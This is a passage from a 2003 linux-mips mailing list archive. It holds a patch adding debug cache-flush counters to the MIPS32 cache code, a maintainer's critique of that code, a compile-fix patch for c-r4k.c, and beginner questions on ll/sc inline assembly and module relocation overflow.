+static int cnt_mips32_flush_icache_all = 0;
+static int cnt_mips32_flush_icache_page_s = 0;
+static int cnt_mips32_flush_icache_range = 0;
+static int cnt_mips32_flush_icache_page = 0;
+static int cnt_mips32_flush_data_cache_page = 0;
+static int cnt_mips32_flush_cache_sigtramp = 0;
+
+static int cnt_dma_cache_wback_inv_pc = 0;
+static int cnt_dma_cache_wback_inv_sc = 0;
+static int cnt_dma_cache_inv_pc = 0;
+static int cnt_dma_cache_inv_sc = 0;
+
+#endif
+
+
 /* Primary cache parameters. */
 int icache_size, dcache_size; 			/* Size in bytes */
 int ic_lsize, dc_lsize;				/* LineSize in bytes */
@@ -42,7 +80,6 @@
 #include <asm/cacheops.h>
 #include <asm/mips32_cache.h>
 
-#undef DEBUG_CACHE
 
 /*
  * Dummy cache handling routines for machines without boardcaches
@@ -62,6 +99,8 @@
 {
 	unsigned long flags;
 
+	DEBUG_INCCNT(cnt_mips32_flush_cache_all_sc);
+
 	local_irq_save(flags);
 	blast_dcache(); blast_icache(); blast_scache();
 	local_irq_restore(flags);
@@ -71,6 +110,8 @@
 {
 	unsigned long flags;
 
+	DEBUG_INCCNT(cnt_mips32_flush_cache_all_pc);
+
 	local_irq_save(flags);
 	blast_dcache(); blast_icache();
 	local_irq_restore(flags);
@@ -84,6 +125,8 @@
 	struct vm_area_struct *vma;
 	unsigned long flags;
 
+	DEBUG_INCCNT(cnt_mips32_flush_cache_range_sc);
+
 	if (cpu_context(smp_processor_id(), mm) == 0)
 		return;
 
@@ -119,6 +162,8 @@
 				     unsigned long start,
 				     unsigned long end)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_cache_range_pc);
+
 	if (cpu_context(smp_processor_id(), mm) != 0) {
 		unsigned long flags;
 
@@ -138,6 +183,8 @@
  */
 static void mips32_flush_cache_mm_sc(struct mm_struct *mm)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_cache_mm_sc);
+
 	if (cpu_context(smp_processor_id(), mm) != 0) {
 #ifdef DEBUG_CACHE
 		printk("cmm[%d]", cpu_context(smp_processor_id(), mm));
@@ -148,6 +195,8 @@
 
 static void mips32_flush_cache_mm_pc(struct mm_struct *mm)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_cache_mm_pc);
+
 	if (cpu_context(smp_processor_id(), mm) != 0) {
 #ifdef DEBUG_CACHE
 		printk("cmm[%d]", cpu_context(smp_processor_id(), mm));
@@ -164,6 +213,8 @@
 	pmd_t *pmdp;
 	pte_t *ptep;
 
+	DEBUG_INCCNT(cnt_mips32_flush_cache_page_sc);
+
 	/*
 	 * If ownes no valid ASID yet, cannot possibly have gotten
 	 * this page into the cache.
@@ -212,6 +263,8 @@
 	pmd_t *pmdp;
 	pte_t *ptep;
 
+	DEBUG_INCCNT(cnt_mips32_flush_cache_page_pc);
+
 	/*
 	 * If ownes no valid ASID yet, cannot possibly have gotten
 	 * this page into the cache.
@@ -251,17 +304,20 @@
 	}
 }
 
-static void mips32_flush_data_cache_page(unsigned long addr)
+static void mips32_flush_icache_all(void)
 {
-	if (sc_lsize)
-		blast_scache_page(addr);
-	else
-		blast_dcache_page(addr);
+	DEBUG_INCCNT(cnt_mips32_flush_icache_all);
+
+	if (mips_cpu.icache.flags | MIPS_CACHE_VTAG_CACHE) {
+		blast_icache();
+	}
 }
 
 static void
 mips32_flush_icache_page_s(struct vm_area_struct *vma, struct page *page)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_icache_page_s);
+
 	/*
 	 * We did an scache flush therefore PI is already clean.
 	 */
@@ -270,12 +326,16 @@
 static void
 mips32_flush_icache_range(unsigned long start, unsigned long end)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_icache_range);
+
 	flush_cache_all();
 }
 
 static void
 mips32_flush_icache_page(struct vm_area_struct *vma, struct page *page)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_icache_page);
+
 	/*
 	 * If there's no context yet, or the page isn't executable, no icache 
 	 * flush is needed.
@@ -290,15 +350,45 @@
 	flush_cache_all();
 }
 
+static void mips32_flush_data_cache_page(unsigned long addr)
+{
+	DEBUG_INCCNT(cnt_mips32_flush_data_cache_page);
+
+	if (sc_lsize)
+		blast_scache_page(addr);
+	else
+		blast_dcache_page(addr);
+}
+
+
+/*
+ * While we're protected against bad userland addresses we don't care
+ * very much about what happens in that case.  Usually a segmentation
+ * fault will dump the process later on anyway ...
+ */
+static void mips32_flush_cache_sigtramp(unsigned long addr)
+{
+	DEBUG_INCCNT(cnt_mips32_flush_cache_sigtramp);
+
+	protected_writeback_dcache_line(addr & ~(dc_lsize - 1));
+	protected_flush_icache_line(addr & ~(ic_lsize - 1));
+}
+
+
 /*
  * Writeback and invalidate the primary cache dcache before DMA.
  */
+
+#ifdef	CONFIG_NONCOHERENT_IO
+
 static void
 mips32_dma_cache_wback_inv_pc(unsigned long addr, unsigned long size)
 {
 	unsigned long end, a;
 	unsigned long flags;
 
+	DEBUG_INCCNT(cnt_dma_cache_wback_inv_pc);
+
 	if (size >= dcache_size) {
 		blast_dcache();
 	} else {
@@ -320,6 +410,8 @@
 {
 	unsigned long end, a;
 
+	DEBUG_INCCNT(cnt_dma_cache_wback_inv_sc);
+
 	if (size >= scache_size) {
 		blast_scache();
 		return;
@@ -340,6 +432,8 @@
 	unsigned long end, a;
 	unsigned long flags;
 
+	DEBUG_INCCNT(cnt_dma_cache_inv_pc);
+
 	if (size >= dcache_size) {
 		blast_dcache();
 	} else {
@@ -362,6 +456,8 @@
 {
 	unsigned long end, a;
 
+	DEBUG_INCCNT(cnt_dma_cache_inv_sc);
+
 	if (size >= scache_size) {
 		blast_scache();
 		return;
@@ -379,26 +475,11 @@
 static void
 mips32_dma_cache_wback(unsigned long addr, unsigned long size)
 {
-	panic("mips32_dma_cache called - should not happen.");
+	panic("mips32_dma_cache_wback called - should not happen.");
 }
 
-/*
- * While we're protected against bad userland addresses we don't care
- * very much about what happens in that case.  Usually a segmentation
- * fault will dump the process later on anyway ...
- */
-static void mips32_flush_cache_sigtramp(unsigned long addr)
-{
-	protected_writeback_dcache_line(addr & ~(dc_lsize - 1));
-	protected_flush_icache_line(addr & ~(ic_lsize - 1));
-}
+#endif
 
-static void mips32_flush_icache_all(void)
-{
-	if (mips_cpu.icache.flags | MIPS_CACHE_VTAG_CACHE) {
-		blast_icache();
-	}
-}
 
 /* Detect and size the various caches. */
 static void __init probe_icache(unsigned long config)
@@ -586,36 +667,40 @@
 
 static void __init setup_noscache_funcs(void)
 {
-	_clear_page = (void *)mips32_clear_page_dc;
-	_copy_page = (void *)mips32_copy_page_dc;
-	_flush_cache_all = mips32_flush_cache_all_pc;
-	___flush_cache_all = mips32_flush_cache_all_pc;
-	_flush_cache_mm = mips32_flush_cache_mm_pc;
-	_flush_cache_range = mips32_flush_cache_range_pc;
-	_flush_cache_page = mips32_flush_cache_page_pc;
+	_clear_page = (void *) mips32_clear_page_dc;
+	_copy_page  = (void *) mips32_copy_page_dc;
+	_flush_cache_all     = mips32_flush_cache_all_pc;
+	___flush_cache_all   = mips32_flush_cache_all_pc;
+	_flush_cache_mm      = mips32_flush_cache_mm_pc;
+	_flush_cache_range   = mips32_flush_cache_range_pc;
+	_flush_cache_page    = mips32_flush_cache_page_pc;
 
-	_flush_icache_page = mips32_flush_icache_page;
+	_flush_icache_page   = mips32_flush_icache_page;
 
+#ifdef	CONFIG_NONCOHERENT_IO
 	_dma_cache_wback_inv = mips32_dma_cache_wback_inv_pc;
-	_dma_cache_wback = mips32_dma_cache_wback;
-	_dma_cache_inv = mips32_dma_cache_inv_pc;
+	_dma_cache_wback     = mips32_dma_cache_wback;
+	_dma_cache_inv       = mips32_dma_cache_inv_pc;
+#endif
 }
 
 static void __init setup_scache_funcs(void)
 {
-        _flush_cache_all = mips32_flush_cache_all_sc;
-        ___flush_cache_all = mips32_flush_cache_all_sc;
-	_flush_cache_mm = mips32_flush_cache_mm_sc;
-	_flush_cache_range = mips32_flush_cache_range_sc;
-	_flush_cache_page = mips32_flush_cache_page_sc;
-	_clear_page = (void *)mips32_clear_page_sc;
-	_copy_page = (void *)mips32_copy_page_sc;
+	_clear_page = (void *) mips32_clear_page_sc;
+	_copy_page  = (void *) mips32_copy_page_sc;
+        _flush_cache_all     = mips32_flush_cache_all_sc;
+        ___flush_cache_all   = mips32_flush_cache_all_sc;
+	_flush_cache_mm      = mips32_flush_cache_mm_sc;
+	_flush_cache_range   = mips32_flush_cache_range_sc;
+	_flush_cache_page    = mips32_flush_cache_page_sc;
 
-	_flush_icache_page = mips32_flush_icache_page_s;
+	_flush_icache_page   = mips32_flush_icache_page_s;
 
+#ifdef	CONFIG_NONCOHERENT_IO
 	_dma_cache_wback_inv = mips32_dma_cache_wback_inv_sc;
-	_dma_cache_wback = mips32_dma_cache_wback;
-	_dma_cache_inv = mips32_dma_cache_inv_sc;
+	_dma_cache_wback     = mips32_dma_cache_wback;
+	_dma_cache_inv       = mips32_dma_cache_inv_sc;
+#endif
 }
 
 typedef int (*probe_func_t)(unsigned long);
@@ -669,10 +754,89 @@
 	shm_align_mask = max_t(unsigned long, mips_cpu.dcache.sets * dc_lsize,
 	                       PAGE_SIZE) - 1;
 
-	_flush_cache_sigtramp = mips32_flush_cache_sigtramp;
-	_flush_icache_range = mips32_flush_icache_range;	/* Ouch */
+	_flush_icache_all      = mips32_flush_icache_all;
+	_flush_icache_range    = mips32_flush_icache_range;	/* Ouch */
 	_flush_data_cache_page = mips32_flush_data_cache_page;
-	_flush_icache_all = mips32_flush_icache_all;
+	_flush_cache_sigtramp  = mips32_flush_cache_sigtramp;
 
 	__flush_cache_all();
 }
+
+
+
+#ifdef	DEBUG_COUNTERS
+
+static int cmips32_read_proc(char *buf, char **start, off_t fpos,
+			 int length, int *eof, void *data)
+{
+	int	len;
+	char	*p = buf;
+
+	p += sprintf(p, "\nCache statistics from c-mips32.c:\n\n");
+
+	p += sprintf(p, "mips32_flush_cache_all_pc:   %8d    "
+	                "mips32_flush_cache_all_sc:   %8d\n",
+			cnt_mips32_flush_cache_all_pc,
+			cnt_mips32_flush_cache_all_sc);
+	p += sprintf(p, "mips32_flush_cache_range_pc: %8d    "
+	                "mips32_flush_cache_range_sc: %8d\n",
+			cnt_mips32_flush_cache_range_pc,
+			cnt_mips32_flush_cache_range_sc);
+	p += sprintf(p, "mips32_flush_cache_mm_pc:    %8d    "
+	                "mips32_flush_cache_mm_sc:    %8d\n",
+			cnt_mips32_flush_cache_mm_pc,
+			cnt_mips32_flush_cache_mm_sc);
+	p += sprintf(p, "mips32_flush_cache_page_pc:  %8d    "
+	                "mips32_flush_cache_page_sc:  %8d\n\n",
+			cnt_mips32_flush_cache_page_pc,
+			cnt_mips32_flush_cache_page_sc);
+
+	p += sprintf(p, "mips32_flush_icache_all:     %8d    "
+			"mips32_flush_icache_page_s:  %8d\n",
+			cnt_mips32_flush_icache_all,
+			cnt_mips32_flush_icache_page_s);
+	p += sprintf(p, "mips32_flush_icache_range:   %8d    "
+			"mips32_flush_icache_page:    %8d\n",
+			cnt_mips32_flush_icache_range,
+			cnt_mips32_flush_icache_page);
+	p += sprintf(p, "mips32_flush_data_cache_page:%8d    "
+			"mips32_flush_cache_sigtramp: %8d\n\n",
+			cnt_mips32_flush_data_cache_page,
+			cnt_mips32_flush_cache_sigtramp);
+
+	p += sprintf(p, "dma_cache_wback_inv_pc:      %8d    "
+			"dma_cache_wback_inv_sc:      %8d\n",
+			cnt_dma_cache_wback_inv_pc,
+			cnt_dma_cache_wback_inv_sc);
+	p += sprintf(p, "dma_cache_inv_pc:            %8d    "
+			"dma_cache_inv_sc:            %8d\n\n",
+			cnt_dma_cache_inv_pc,
+			cnt_dma_cache_inv_sc);
+
+	len = p - buf;
+	if (fpos >= len) {
+		/* Nothing to return... */
+		*start = buf;
+		*eof = 1;
+		return 0;
+	}
+
+	*start = buf + fpos;
+	if ((len -= fpos) > length)
+		return length;
+
+	*eof = 1;
+	return len;
+}
+
+static int __init cmips32_init_module(void)
+{
+	create_proc_read_entry ("cmips32_cache_stats", 0, NULL,
+		cmips32_read_proc, NULL);
+
+	return 0;
+}
+
+module_init(cmips32_init_module);
+
+#endif

--------------1CADC4A811B853F927ABCAD0--


From ralf@linux-mips.net Wed Apr  2 21:05:38 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 02 Apr 2003 21:05:39 +0100 (BST)
Received: from p508B5B2E.dip.t-dialin.net ([IPv6:::ffff:80.139.91.46]:61406
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225196AbTDBUFi>; Wed, 2 Apr 2003 21:05:38 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h32K5Zv15211;
	Wed, 2 Apr 2003 22:05:35 +0200
Date: Wed, 2 Apr 2003 22:05:35 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Cache flush statistics patch to c-mips32.c
Message-ID: <20030402220535.A14112@linux-mips.org>
References: <3E8B3703.3D9B09D5@ekner.info>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E8B3703.3D9B09D5@ekner.info>; from hartvig@ekner.info on Wed, Apr 02, 2003 at 09:16:20PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1902
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 02, 2003 at 09:16:20PM +0200, Hartvig Ekner wrote:

> Below is a patch with some cache statistics counters added to c-mips32.c.
> They are turned on by the local define DEBUG_COUNTERS in case somebody wants to
> play with them.
> 
> A sample output:
> 
> [root@au01 root]# more /proc/cmips32_cache_stats
> 
> Cache statistics from c-mips32.c:
> 
> mips32_flush_cache_all_pc:      83384    mips32_flush_cache_all_sc:          0
> mips32_flush_cache_range_pc:    37276    mips32_flush_cache_range_sc:        0
> mips32_flush_cache_mm_pc:        2121    mips32_flush_cache_mm_sc:           0
> mips32_flush_cache_page_pc:     36282    mips32_flush_cache_page_sc:         0
> 
> mips32_flush_icache_all:            0    mips32_flush_icache_page_s:         0
> mips32_flush_icache_range:          4    mips32_flush_icache_page:       93545
> mips32_flush_data_cache_page:   31905    mips32_flush_cache_sigtramp:     2467
> 
> dma_cache_wback_inv_pc:          7029    dma_cache_wback_inv_sc:             0
> dma_cache_inv_pc:                   0    dma_cache_inv_sc:                   0

As already mentioned, c-mips32.c is a pretty lousy piece of code.  It's
basically a cut'n'paste from an ancient, rotten version of r4xx0.c.  So
it also includes wrecked support for R4000SC-style second level caches,
that's all the _sc functions above which aren't called ever.  As of like
an hour ago I've removed all this dead code.

Similarly flush_icache_all, it's only used for processors that have a
virtually indexed virtually tagged I-cache.  Currently there only two of
these processors do exist, the one is Sibyte's SB1 core which is used in
the BCM1250 SOC and the other is MIPS's upcoming 20kc core.

> These counts are from a system which has just booted, nothing else. While
> running some programs, the flush_cache_all is called up to 400 times pr.
> second (!).

Flush_cache_all is invoked by the overkill implementation of sys_cacheflush.
These calls are usually done only by certain code constructs and the only
common user is glibc.  The part of glibc using cacheflush(2) is the
dynamic linker so the penalty for longer running processes is getting
lower.

Anyway, c-mips32.c is frightening for processors with alias-free caches
such as the virtually indexed 16kb 4-way caches of your Au1500.  For
example flush_cache_all() and flush_dcache_page() should be empty and
flush_cache_page() only needs to do something at all for pages that do
contain code etc.  There's a major speedup hidden there.

  Ralf

From agx@sigxcpu.org Wed Apr  2 23:56:55 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 02 Apr 2003 23:56:56 +0100 (BST)
Received: from honk1.physik.uni-konstanz.de ([IPv6:::ffff:134.34.140.224]:34691
	"EHLO honk1.physik.uni-konstanz.de") by linux-mips.org with ESMTP
	id <S8225201AbTDBW4z>; Wed, 2 Apr 2003 23:56:55 +0100
Received: from localhost (localhost [127.0.0.1])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP
	id 016642BC30; Thu,  3 Apr 2003 00:56:53 +0200 (CEST)
Received: from honk1.physik.uni-konstanz.de ([127.0.0.1])
 by localhost (honk [127.0.0.1:10024]) (amavisd-new) with ESMTP id 06070-05;
 Thu,  3 Apr 2003 00:56:51 +0200 (CEST)
Received: from bogon.sigxcpu.org (kons-d9bb5515.pool.mediaWays.net [217.187.85.21])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP
	id 998E72BC2D; Thu,  3 Apr 2003 00:56:51 +0200 (CEST)
Received: by bogon.sigxcpu.org (Postfix, from userid 1000)
	id 4F03A1735C; Thu,  3 Apr 2003 00:54:21 +0200 (CEST)
Date: Thu, 3 Apr 2003 00:54:21 +0200
From: Guido Guenther <agx@sigxcpu.org>
To: linux-mips@linux-mips.org
Cc: ralf@linux-mips.org
Subject: [PATCH] r4k_blast_dcache_page compile fix
Message-ID: <20030402225421.GA1721@bogon.ms20.nix>
Mail-Followup-To: Guido Guenther <agx@sigxcpu.org>,
	linux-mips@linux-mips.org, ralf@linux-mips.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="liOOAslEiF7prFVr"
Content-Disposition: inline
User-Agent: Mutt/1.5.3i
Return-Path: <agx@sigxcpu.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1903
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: agx@sigxcpu.org
Precedence: bulk
X-list: linux-mips


--liOOAslEiF7prFVr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,
the attached patch moves the opening brace out of the the
R4600_V1_HIT_DCACHE_WAR ifdef to make things compile again (good old
egcs 1.1.2 thinks this is even worth an ICE). Patch is against 2.5 but
should apply against 2.4 as well. Please apply.
Regards,
 -- Guido

--liOOAslEiF7prFVr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="r4k_blast_dcache_page.diff"

Index: arch/mips/mm/c-r4k.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/mm/c-r4k.c,v
retrieving revision 1.31
diff -u -p -r1.31 c-r4k.c
--- arch/mips/mm/c-r4k.c	31 Mar 2003 23:32:17 -0000	1.31
+++ arch/mips/mm/c-r4k.c	2 Apr 2003 22:51:33 -0000
@@ -73,8 +73,8 @@ dc_32:
 	return;
 
 dc_32_r4600:
-#ifdef R4600_V1_HIT_DCACHE_WAR
 	{
+#ifdef R4600_V1_HIT_DCACHE_WAR
 	unsigned long flags;
 
 	local_irq_save(flags);
Index: arch/mips64/mm/c-r4k.c
===================================================================
RCS file: /home/cvs/linux/arch/mips64/mm/c-r4k.c,v
retrieving revision 1.18
diff -u -p -r1.18 c-r4k.c
--- arch/mips64/mm/c-r4k.c	31 Mar 2003 23:32:17 -0000	1.18
+++ arch/mips64/mm/c-r4k.c	2 Apr 2003 22:51:46 -0000
@@ -73,8 +73,8 @@ dc_32:
 	return;
 
 dc_32_r4600:
-#ifdef R4600_V1_HIT_DCACHE_WAR
 	{
+#ifdef R4600_V1_HIT_DCACHE_WAR
 	unsigned long flags;
 
 	local_irq_save(flags);

--liOOAslEiF7prFVr--

From linux_linux_2003@hotmail.com Thu Apr  3 02:02:17 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 02:02:17 +0100 (BST)
Received: from bay2-f148.bay2.hotmail.com ([IPv6:::ffff:65.54.247.148]:8966
	"EHLO hotmail.com") by linux-mips.org with ESMTP
	id <S8225203AbTDCBCR>; Thu, 3 Apr 2003 02:02:17 +0100
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 2 Apr 2003 17:02:08 -0800
Received: from 157.165.41.125 by by2fd.bay2.hotmail.msn.com with HTTP;
	Thu, 03 Apr 2003 01:02:08 GMT
X-Originating-IP: [157.165.41.125]
X-Originating-Email: [linux_linux_2003@hotmail.com]
From: "Mike K." <linux_linux_2003@hotmail.com>
To: linux-mips@linux-mips.org
Subject: __asm__  C code in mips-Linux
Date: Wed, 02 Apr 2003 17:02:08 -0800
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <BAY2-F148jSQU0d0uub000985dc@hotmail.com>
X-OriginalArrivalTime: 03 Apr 2003 01:02:08.0894 (UTC) FILETIME=[A6C451E0:01C2F97C]
Return-Path: <linux_linux_2003@hotmail.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1904
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux_linux_2003@hotmail.com
Precedence: bulk
X-list: linux-mips

extern __inline__ void atomic_add(int i, atomic_t * v)
{
	unsigned long temp;

	__asm__ __volatile__(
		"1:   ll      %0, %1      # atomic_add\n"
		"     addu    %0, %2                  \n"
		"     sc      %0, %1                  \n"
		"     beqz    %0, 1b                  \n"
		: "=&r" (temp), "=m" (v->counter)
		: "Ir" (i), "m" (v->counter));
}


Beginner questions on the above code:
1. what is %0 %1 %2?
2. what is the details meaning of the last two line of the above code?
3. Very thanksful if you can comment each line with detail description  for 
me, thanks a lot!


_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail


From ralf@linux-mips.net Thu Apr  3 03:09:53 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 03:09:54 +0100 (BST)
Received: from p508B5B2E.dip.t-dialin.net ([IPv6:::ffff:80.139.91.46]:64740
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225197AbTDCCJx>; Thu, 3 Apr 2003 03:09:53 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3329mi22419;
	Thu, 3 Apr 2003 04:09:48 +0200
Date: Thu, 3 Apr 2003 04:09:47 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Mike K." <linux_linux_2003@hotmail.com>
Cc: linux-mips@linux-mips.org
Subject: Re: __asm__  C code in mips-Linux
Message-ID: <20030403040947.A21764@linux-mips.org>
References: <BAY2-F148jSQU0d0uub000985dc@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <BAY2-F148jSQU0d0uub000985dc@hotmail.com>; from linux_linux_2003@hotmail.com on Wed, Apr 02, 2003 at 05:02:08PM -0800
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1905
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 02, 2003 at 05:02:08PM -0800, Mike K. wrote:

> extern __inline__ void atomic_add(int i, atomic_t * v)
> {
> 	unsigned long temp;
> 
> 	__asm__ __volatile__(
> 		"1:   ll      %0, %1      # atomic_add\n"
> 		"     addu    %0, %2                  \n"
> 		"     sc      %0, %1                  \n"
> 		"     beqz    %0, 1b                  \n"
> 		: "=&r" (temp), "=m" (v->counter)
> 		: "Ir" (i), "m" (v->counter));
> }
> 
> 
> Beginner questions on the above code:
> 1. what is %0 %1 %2?
> 2. what is the details meaning of the last two line of the above code?

%0 stands for the 0th operand of the asm statement, that is the temp
variable, %1 for the first that is v->counter, %2 for the second that is
the variable i.  In the strings like "=&r" the = means that the argument
will be assigned to, r means the argument / result is to be passed in a
register (%0 will then be replaced by gcc with that register) and m
means some memory location, gcc will then replace %1 with that memory
location.  "Ir" means gcc can pass the variable i in either a register
(that's the r) or as a 16-bit constant (the I).  Again %3 will be
replaced with whatever gcc deciedes to pass here.  All the output
operands are listed after the first colon - and be marked with a = sign;
the input operands are listed after the second colon.  After a third
colon all registers that get destroyed by a piece of inline assembly
can be listed like :"$5","$6" but we don't need that here.

> 3. Very thanksful if you can comment each line with detail description  for 
> me, thanks a lot!

Your basic spinlock described in the R4000 manual from 10 years ago :-)

  Ralf

From madhavis@sasken.com Thu Apr  3 06:55:35 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 06:55:36 +0100 (BST)
Received: from ftp-xb.sasken.com ([IPv6:::ffff:164.164.56.3]:43710 "EHLO
	sandesha.sasken.com") by linux-mips.org with ESMTP
	id <S8225197AbTDCFzf>; Thu, 3 Apr 2003 06:55:35 +0100
Received: from sunsv2.sasken.com (localhost [127.0.0.1])
	by sandesha.sasken.com (8.12.8/8.12.8) with ESMTP id h335tJNw021816
	for <linux-mips@linux-mips.org>; Thu, 3 Apr 2003 11:25:19 +0530 (IST)
Received: from pcz-madhavis.sasken.com (IDENT:madhavis@pcz-madhavis.sasken.com [10.1.64.210])
	by sunsv2.sasken.com (8.11.6/8.11.6) with ESMTP id h335tSY28475
	for <linux-mips@linux-mips.org>; Thu, 3 Apr 2003 11:25:28 +0530 (IST)
Date: Thu, 3 Apr 2003 11:25:28 +0530 (IST)
From: Madhavi <madhavis@sasken.com>
To: <linux-mips@linux-mips.org>
Subject: Relocation overflow problem with MIPS
Message-ID: <Pine.LNX.4.33.0304031124100.24014-100000@pcz-madhavis.sasken.com>
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="=_IS_MIME_Boundary"
Return-Path: <madhavis@sasken.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1906
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: madhavis@sasken.com
Precedence: bulk
X-list: linux-mips

--=_IS_MIME_Boundary
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.33.0304031124102.24014@pcz-madhavis.sasken.com>


Hi

I am working on a device driver software for linux kernel version 2.4.19.
My driver is a loadable module and the size of the module executable is
approximately 1.4MB.

When I tried to load this module on x86, I didn't have any problems while
installing it. On MIPS (R5432) CPU, this is giving the following problems:

edge_mod.o: Relocation overflow of type 4 for printk
edge_mod.o: Relocation overflow of type 4 for printk
edge_mod.o: Relocation overflow of type 4 for printk
edge_mod.o: Relocation overflow of type 4 for alloc_etherdev
edge_mod.o: Relocation overflow of type 4 for printk
edge_mod.o: Relocation overflow of type 4 for printk
edge_mod.o: Relocation overflow of type 4 for pci_enable_device
edge_mod.o: Relocation overflow of type 4 for pci_set_dma_mask
edge_mod.o: Relocation overflow of type 4 for printk
edge_mod.o: Relocation overflow of type 4 for pci_find_capability
.........................

Could anyone tell me what this problem could be? What is relocation
overflow of type 4? Where can I find the list of all the possible
relocation overflow types and their descriptions?

My module is not compiled using the options -fPIC. Would it make any
difference if I enable this option?

I have seen this following comment in modutils-2.4.12/obj/obj_mips.c

/* _gp_disp is a magic symbol for PIC which is not supported for
   the kernel and loadable modules.  */

So, I was thinking that -fPIC wouldn't help much. Am I right?

Any help in this regard would be greatly appreciated.

Thank you in advance.

regards
Madhavi.

Madhavi Suram
Software Engineer
Customer Delivery / Networks
Sasken Communication Technologies Limited
139/25, Ring Road, Domlur
Bangalore - 560071 India
Email: madhavis@sasken.com
Tel: + 91 80 5355501 Extn: 8062
Fax: + 91 80 5351133
URL: www.sasken.com


--=_IS_MIME_Boundary
Content-Type: text/plain;charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

************************************************************************

Sasken Business Disclaimer

This  message may  contain  confidential,  proprietary  or  legally privileged  information. In  case  you are not the original intended recipient of the message, you must not, directly or indirectly, use,  disclose,  distribute,  print,  or copy  any  part of  this  message and you are requested to delete it and inform the sender. Any views  expressed in this message are those of the individual sender unless otherwise stated. Nothing contained in this message shall be construed as an offer or acceptance of any offer by Sasken Communication Technologies Limited ("Sasken") unless sent with that express intent and with due authority of Sasken. Sasken accepts no liability for any loss or damage, which may be caused by viruses.

***********************************************************************

--=_IS_MIME_Boundary--

From kevink@mips.com Thu Apr  3 13:51:19 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 13:51:22 +0100 (BST)
Received: from ftp.mips.com ([IPv6:::ffff:206.31.31.227]:60891 "EHLO
	mx2.mips.com") by linux-mips.org with ESMTP id <S8225197AbTDCMvT>;
	Thu, 3 Apr 2003 13:51:19 +0100
Received: from newman.mips.com (ns-dmz [206.31.31.225])
	by mx2.mips.com (8.12.5/8.12.5) with ESMTP id h33Cp7Ue013586;
	Thu, 3 Apr 2003 04:51:07 -0800 (PST)
Received: from grendel (grendel [192.168.236.16])
	by newman.mips.com (8.9.3/8.9.0) with SMTP id EAA26900;
	Thu, 3 Apr 2003 04:51:08 -0800 (PST)
Message-ID: <013101c2f9e0$bc582900$10eca8c0@grendel>
